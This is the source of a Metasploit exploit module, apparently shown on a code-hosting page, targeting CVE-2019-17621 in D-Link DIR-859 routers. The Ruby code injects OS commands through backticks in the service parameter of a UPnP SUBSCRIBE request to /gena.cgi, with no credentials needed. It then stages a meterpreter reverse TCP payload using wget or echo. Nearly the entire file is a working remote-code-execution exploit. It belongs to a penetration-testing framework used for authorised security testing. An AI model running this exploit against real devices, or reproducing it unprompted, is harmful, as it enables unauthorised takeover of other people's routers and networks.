Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/upnp/dlink_dir859_subscribe_exec.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(update_info(info,13'Name' => 'D-Link DIR-859 Unauthenticated Remote Command Execution',14'Description' => %q{15D-Link DIR-859 Routers are vulnerable to OS command injection via the UPnP16interface. The vulnerability exists in /gena.cgi (function genacgi_main() in17/htdocs/cgibin), which is accessible without credentials.18},19'Author' =>20[21'Miguel Mendez Z., @s1kr10s', # Vulnerability discovery and initial exploit22'Pablo Pollanco P.' # Vulnerability discovery and metasploit module23],24'License' => MSF_LICENSE,25'References' =>26[27[ 'CVE', '2019-17621' ],28[ 'URL', 'https://medium.com/@s1kr10s/d94b47a15104' ]29],30'DisclosureDate' => '2019-12-24',31'Privileged' => true,32'Platform' => 'linux',33'Arch' => ARCH_MIPSBE,34'DefaultOptions' =>35{36'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp',37'CMDSTAGER::FLAVOR' => 'wget',38'RPORT' => '49152'39},40'Targets' =>41[42[ 'Automatic', { } ],43],44'CmdStagerFlavor' => %w{ echo wget },45'DefaultTarget' => 0,46))4748end4950def execute_command(cmd, opts)51callback_uri = "http://192.168.0." + Rex::Text.rand_text_hex(2).to_i(16).to_s +52":" + Rex::Text.rand_text_hex(4).to_i(16).to_s +53"/" + Rex::Text.rand_text_alpha(3..12)54begin55send_request_raw({56'uri' => "/gena.cgi?service=`#{cmd}`",57'method' => 'SUBSCRIBE',58'headers' =>59{60'Callback' => "<#{callback_uri}>",61'NT' => 'upnp:event',62'Timeout' => 'Second-1800',63},64})65rescue ::Rex::ConnectionError66fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not connect to the webservice")67end68end6970def exploit71execute_cmdstager(linemax: 500)72end73end747576